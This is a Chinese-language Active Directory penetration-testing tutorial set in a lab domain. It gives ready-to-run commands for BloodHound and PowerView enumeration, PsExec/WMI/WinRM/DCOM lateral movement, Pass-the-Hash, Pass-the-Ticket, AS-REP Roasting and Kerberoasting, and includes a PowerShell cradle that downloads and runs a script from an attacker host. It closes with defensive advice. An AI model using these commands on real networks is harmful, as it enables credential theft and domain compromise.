Active Directory域渗透入门,BloodHound攻击路径分析、Kerberos攻击与横向移动技术实战
Active Directory(AD)是企业网络的核心基础设施,管理着组织中的用户、计算机、权限和策略。对于渗透测试人员而言,攻破域环境意味着能够控制整个企业网络。本文将从 AD 基础概念入手,系统讲解域环境信息收集、Kerberos 认证攻击、横向移动技术以及常见的域攻击手法,包括 Pass-the-Hash、Kerberoasting 等核心技术。
Active Directory 核心概念
域(Domain)与域控制器(Domain Controller)
域是 Active Directory 的基本管理单元,域控制器(DC)是运行 AD DS 服务的 Windows Server,负责存储目录数据库(NTDS.dit)并处理所有认证请求。
# 查看域信息[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() # 获取域控制器列表nltest /dclist:lab.local # 查看域信任关系nltest /domain_trusts # 基本域信息net group "Domain Admins" /domainnet group "Domain Controllers" /domain组织单位(OU)与组策略(GPO)
OU 是 AD 中用于组织和管理对象的容器,GPO 则通过链接到 OU 来下发安全策略和配置。
# 查看 OU 结构Get-ADOrganizationalUnit -Filter * | Select-Object Name, DistinguishedName # 查看所有 GPOGet-GPO -All | Select-Object DisplayName, Id, CreationTime # 查看 GPO 的详细设置Get-GPOReport -Name "Default Domain Policy" -ReportType Html -Path "C:\Temp\gpo_report.html"关键 AD 对象
域环境信息收集
BloodHound
BloodHound 是域渗透中最强大的信息收集和攻击路径分析工具,通过图数据库可视化展示域内的权限关系。
# 安装 BloodHound# 方法一:apt 安装sudo apt install bloodhound neo4j # 方法二:Docker 安装(推荐 BloodHound CE 社区版)curl -L https://ghst.ly/getbhce | docker compose -f - up # 启动 Neo4j 数据库sudo neo4j console# 默认访问 http://localhost:7474 修改密码 # 启动 BloodHound GUIbloodhound数据收集 — SharpHound
# 在域内机器上运行 SharpHound 收集器# 收集所有信息.\SharpHound.exe -c All # 指定域和收集方法.\SharpHound.exe -c All -d lab.local --zipfilename bloodhound_data.zip # 使用 PowerShell 版本Import-Module .\SharpHound.ps1Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Temp\ # 使用 bloodhound-python 远程收集(从 Linux 攻击机)bloodhound-python -d lab.local -u testuser -p 'Welcome1!' -ns 10.10.10.100 -c AllBloodHound 攻击路径分析
在 BloodHound 中导入数据后,可以使用内置查询发现攻击路径:
- Find Shortest Paths to Domain Admins — 查找到域管理员的最短攻击路径
- Find Principals with DCSync Rights — 查找具有 DCSync 权限的主体
- Find Computers where Domain Users are Local Admin — 查找域用户为本地管理员的计算机
- Find Kerberoastable Users with Most Privileges — 查找高权限的可 Kerberoast 用户
- Shortest Paths from Owned Principals — 从已控制的账户出发查找攻击路径
PowerView
PowerView 是 PowerSploit 框架中的 AD 枚举模块,提供了大量域信息收集命令。
# 导入 PowerViewImport-Module .\PowerView.ps1# 或使用内存加载IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.5/PowerView.ps1') # 域基本信息Get-DomainGet-DomainControllerGet-DomainPolicy # 用户枚举Get-DomainUser | Select-Object samaccountname, description, memberofGet-DomainUser -SPN # 查找设置了 SPN 的用户(Kerberoasting 目标)Get-DomainUser -AdminCount # 查找管理员账户 # 组枚举Get-DomainGroup -Identity "Domain Admins" | Select-Object -ExpandProperty memberGet-DomainGroupMember -Identity "Domain Admins" -Recurse # 计算机枚举Get-DomainComputer | Select-Object name, operatingsystem, dnshostnameGet-DomainComputer -Unconstrained # 查找不受约束的委派 # 共享枚举Find-DomainShare -CheckShareAccess # 查找当前用户有本地管理员权限的机器Find-LocalAdminAccess # GPO 枚举Get-DomainGPO | Select-Object displayname, gpcfilesyspathKerberos 认证流程
理解 Kerberos 认证是掌握域攻击技术的基础。Kerberos 认证分为三个阶段:
- AS-REQ / AS-REP — 用户向 KDC 请求 TGT(票据授权票据)
- TGS-REQ / TGS-REP — 用户使用 TGT 向 KDC 请求服务票据(ST)
- AP-REQ / AP-REP — 用户使用 ST 向目标服务进行认证
用户 ──AS-REQ(用户Hash加密时间戳)──> KDC(域控)用户 <──AS-REP(TGT, 用krbtgt Hash加密)── KDC用户 ──TGS-REQ(TGT)──> KDC用户 <──TGS-REP(ST, 用服务Hash加密)── KDC用户 ──AP-REQ(ST)──> 目标服务这个认证流程中的每个环节都有对应的攻击手法,后文将详细讲解。
横向移动技术
在域环境中获取凭据后,需要通过横向移动来扩大控制范围,最终达到域控制器。
PsExec
PsExec 通过 SMB 协议在远程机器上创建服务来执行命令。
# impacket-psexec(推荐,支持 Pass-the-Hash)impacket-psexec lab.local/administrator:'P@ssw0rd!'@10.10.10.101 # 使用 NTLM Hashimpacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 lab.local/administrator@10.10.10.101 # Sysinternals PsExecPsExec.exe \\10.10.10.101 -u lab\administrator -p P@ssw0rd! cmd.exe # CrackMapExec 批量执行crackmapexec smb 10.10.10.0/24 -u administrator -p 'P@ssw0rd!' --exec-method smbexec -x "whoami"WMI 远程执行
# impacket-wmiexecimpacket-wmiexec lab.local/administrator:'P@ssw0rd!'@10.10.10.101 # 使用 Hashimpacket-wmiexec -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 lab.local/administrator@10.10.10.101 # PowerShell WMI 远程命令Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami > C:\Temp\output.txt" -ComputerName SRV01 -Credential (Get-Credential)WinRM 横向移动
# PowerShell RemotingEnter-PSSession -ComputerName SRV01 -Credential lab\administratorInvoke-Command -ComputerName SRV01 -ScriptBlock { whoami; hostname } -Credential lab\administrator # evil-winrmevil-winrm -i 10.10.10.101 -u administrator -H '31d6cfe0d16ae931b73c59d7e0c089c0'DCOM 远程执行
# impacket-dcomexecimpacket-dcomexec lab.local/administrator:'P@ssw0rd!'@10.10.10.101 # PowerShell DCOM$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","10.10.10.101"))$com.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c whoami > C:\Temp\dcom_output.txt","Minimized")横向移动工具对比
Pass-the-Hash(PTH)
Pass-the-Hash 允许攻击者使用用户的 NTLM Hash 而非明文密码进行认证,是域渗透中最常用的技术之一。
# CrackMapExec PTHcrackmapexec smb 10.10.10.0/24 -u administrator -H '31d6cfe0d16ae931b73c59d7e0c089c0' --local-auth # impacket 工具集 PTHimpacket-psexec -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 administrator@10.10.10.101impacket-wmiexec -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 administrator@10.10.10.101impacket-smbexec -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 administrator@10.10.10.101 # evil-winrm PTHevil-winrm -i 10.10.10.101 -u administrator -H '31d6cfe0d16ae931b73c59d7e0c089c0' # xfreerdp PTH(RDP Pass-the-Hash,需要 Restricted Admin 模式启用)xfreerdp /v:10.10.10.101 /u:administrator /pth:31d6cfe0d16ae931b73c59d7e0c089c0Pass-the-Ticket(PTT)
Pass-the-Ticket 使用窃取的 Kerberos 票据进行认证,不需要密码或 Hash。
# 使用 Mimikatz 导出当前会话的票据mimikatz # sekurlsa::tickets /export # 查看导出的票据dir *.kirbi # 注入票据到当前会话mimikatz # kerberos::ptt [0;12bd0]-0-0-40810000-administrator@krbtgt-LAB.LOCAL.kirbi # 使用 Rubeus 进行 PTT.\Rubeus.exe ptt /ticket:ticket.kirbi # 验证票据已注入klist # 现在可以直接访问目标资源dir \\DC01\C$AS-REP Roasting
当域用户的 "不要求 Kerberos 预认证" 选项被启用时,攻击者可以在不知道密码的情况下获取该用户的 AS-REP 响应,其中包含可离线破解的加密数据。
# 使用 impacket 获取 AS-REP Hashimpacket-GetNPUsers lab.local/ -usersfile users.txt -dc-ip 10.10.10.100 -format hashcat -outputfile asrep_hashes.txt # 使用已知凭据枚举并获取impacket-GetNPUsers lab.local/testuser:'Welcome1!' -dc-ip 10.10.10.100 -request # 使用 Rubeus(在域内机器上).\Rubeus.exe asreproast /format:hashcat /outfile:asrep_hashes.txt# PowerView 查找不要求预认证的用户Get-DomainUser -PreauthNotRequired | Select-Object samaccountname# 使用 Hashcat 破解 AS-REP Hashhashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt # 使用 John the Ripperjohn asrep_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txtKerberoasting
Kerberoasting 针对设置了 SPN(Service Principal Name)的域用户账户。攻击者可以请求这些账户的服务票据(TGS),然后离线破解票据中的加密部分以获取明文密码。
# 使用 impacket-GetUserSPNsimpacket-GetUserSPNs lab.local/testuser:'Welcome1!' -dc-ip 10.10.10.100 -request -outputfile kerberoast_hashes.txt # 使用 Rubeus.\Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt # 针对特定用户.\Rubeus.exe kerberoast /user:svc_mssql /outfile:svc_hash.txt# PowerView 查找 Kerberoastable 用户Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname # 使用 PowerShell 原生方法请求 TGSAdd-Type -AssemblyName System.IdentityModelNew-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/srv01.lab.local:1433"# Hashcat 破解 Kerberoast Hashhashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt # John the Ripperjohn kerberoast_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt安全建议与防御措施
- 强密码策略 — 服务账户使用 25 位以上的强密码,域管理员密码定期轮换
- 限制特权账户 — 减少 Domain Admins 组成员,使用分层管理模型
- 启用 Kerberos 预认证 — 确保所有账户启用 Kerberos 预认证
- 监控 Kerberoasting — 监控异常的 TGS 请求(Event ID 4769)
- 使用组管理服务账户(gMSA) — 自动轮换密码,防止 Kerberoasting
- 限制横向移动 — 使用 Windows 防火墙和网络分段限制工作站间通信
- 部署 LAPS — 使用 Local Administrator Password Solution 管理本地管理员密码
- 启用 Protected Users 组 — 防止 NTLM 认证和凭据缓存
- 监控 BloodHound 收集行为 — 检测大量 LDAP 查询和 SMB 会话枚举
总结
域渗透是 Windows 渗透测试的高级阶段,也是企业网络安全评估的核心环节。本文涵盖了域渗透的关键技术:
- 信息收集 — BloodHound 和 PowerView 是域环境分析的核心工具
- Kerberos 攻击 — AS-REP Roasting 和 Kerberoasting 可以离线破解域用户密码
- 横向移动 — PsExec、WMI、WinRM、DCOM 提供了多种远程执行手段
- 凭据利用 — Pass-the-Hash 和 Pass-the-Ticket 无需明文密码即可认证
在实际域渗透中,通常遵循 "信息收集 → 获取初始凭据 → 横向移动 → 提权到域管理员" 的攻击链路。BloodHound 的攻击路径分析能大幅提升这一过程的效率。下一篇文章将深入 Windows 后渗透阶段,讲解 Mimikatz 密码提取和票据攻击技术。
